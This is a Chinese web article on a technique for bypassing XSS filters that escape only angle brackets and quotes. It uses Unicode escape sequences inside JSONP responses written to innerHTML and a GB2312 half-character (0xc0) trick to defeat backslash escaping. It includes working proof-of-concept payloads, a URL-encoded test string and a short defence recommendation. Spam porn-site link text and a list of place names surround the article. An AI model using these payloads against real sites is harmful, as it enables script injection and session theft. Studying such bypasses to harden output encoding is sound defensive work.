最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

一種新型的繞過XSS防御的方法介紹

  發(fā)布時間:2012-10-19 16:34:36   作者:佚名   我要評論
大家都知道,普遍的防御XSS攻擊的方法是在后臺對以下字符進行轉義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場景下,即使對以上字符進行了轉義,還是可以執(zhí)行XSS攻擊的。
大家都知道,普遍的防御XSS攻擊的方法是在后臺對以下字符進行轉義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場景下,即使對以上字符進行了轉義,還是可以執(zhí)行XSS攻擊的。
首先看一個JS的例子:
<script>
    var s = "\u003c\u003e";
    alert(s);
</script>運行這段代碼,結果顯示如下:
看到這么熟悉的尖括號,大家會不會有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號,可是運行時卻輸出了尖括號!??!這意味著:可以通過\u003c和\u003e來代替<和>??墒窃撊绾卫眠@個特性來構造XSS攻擊呢?繼續(xù)看一個例子:
<div id='s'>
test
</div>
<script>
    var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
    document.getElementById('s').innerHTML = s;
</script>運行上面代碼,結果顯示如下:
在沒有尖括號的情況下,成功實現(xiàn)了一個彈框的案例。
現(xiàn)在來設想一個更貼近實際開發(fā)情況的例子:
(1)假設某站的首頁:http://www.xxxx.com /main.html,其代碼為:
<div id="test">
   aa
</div>
<script>
   function callback(obj)
   {
       document.getElementById("test").innerHTML = obj.name;
   }
</script>
<script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
callback({"name":"xx"}); 其中name的值是用戶的昵稱。 
這個例子簡單模擬了異步拉取信息并進行顯示的情況。
現(xiàn)在假設用戶的昵稱為:
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么會是什么情況呢?
首先getcontent返回的昵稱應該是這樣的:
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因為后臺輸出JSON格式數(shù)據(jù)時,一般都會在\前面添加轉義符進行轉義。
接著main.html的callback函數(shù)應該是等價于執(zhí)行下面的語句:
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";顯示的結果如下: 
很遺憾,沒有彈出框。原因是原來的轉義序列\(zhòng)u003c并沒有生效,被添加的轉義符轉義掉了。
不過這里假設返回昵稱時對\進行了轉義,但實際情況下,有時輸出json格式數(shù)據(jù)時是沒有對\進行轉義的,那樣就會觸發(fā)漏洞。
對于有對\進行轉義的,這時就輪到我們強大的半字符出場了。對于半字符的問題,這里并不打算詳細講,說下結論:
對于gb2312編碼," [0xc0]\ "是一個合法的編碼,顯示為:"繺"。
對于UTF-8編碼,在IE6下,上述組合也是一個合法的編碼。
其中[0xc0]表示一個十六進制的值。
現(xiàn)在修改昵稱為:
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent輸出:
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解釋上述JS代碼時,等價于:
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可見,轉義序列\(zhòng)u003c終于又回來了,顯示結果如下:
上述昵稱中并沒有出現(xiàn)單雙引號,尖括號,所以如果后臺只是對單雙引號和尖括號進行轉義,那么是可以被繞過防御的。
總結:
(1)利用場景:輸出內(nèi)容在JS代碼里,并且被動態(tài)顯示出來(如使用innerHTML)。
(2)測試方法:截獲請求包,修改參數(shù)為:
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后臺對半字符,反斜杠,單雙引號,尖括號進行處理。
一切皆有可能,跨站無處不在,發(fā)揮偶們強大的智慧來挖掘吧

相關文章

最新評論

密云县| 扶风县| 酒泉市| 温宿县| 克山县| 鹿邑县| 寻乌县| 资兴市| 连江县| 平顶山市| 益阳市| 肥西县| 南靖县| 五河县| 曲周县| 曲靖市| 湘西| 天津市| 满城县| 罗平县| 寻乌县| 南开区| 博爱县| 东宁县| 岐山县| 兴化市| 收藏| 荣成市| 三江| 古田县| 屏东县| 长兴县| 若羌县| 宜州市| 济南市| 兰州市| 周宁县| 城口县| 本溪| 舟山市| 巫山县|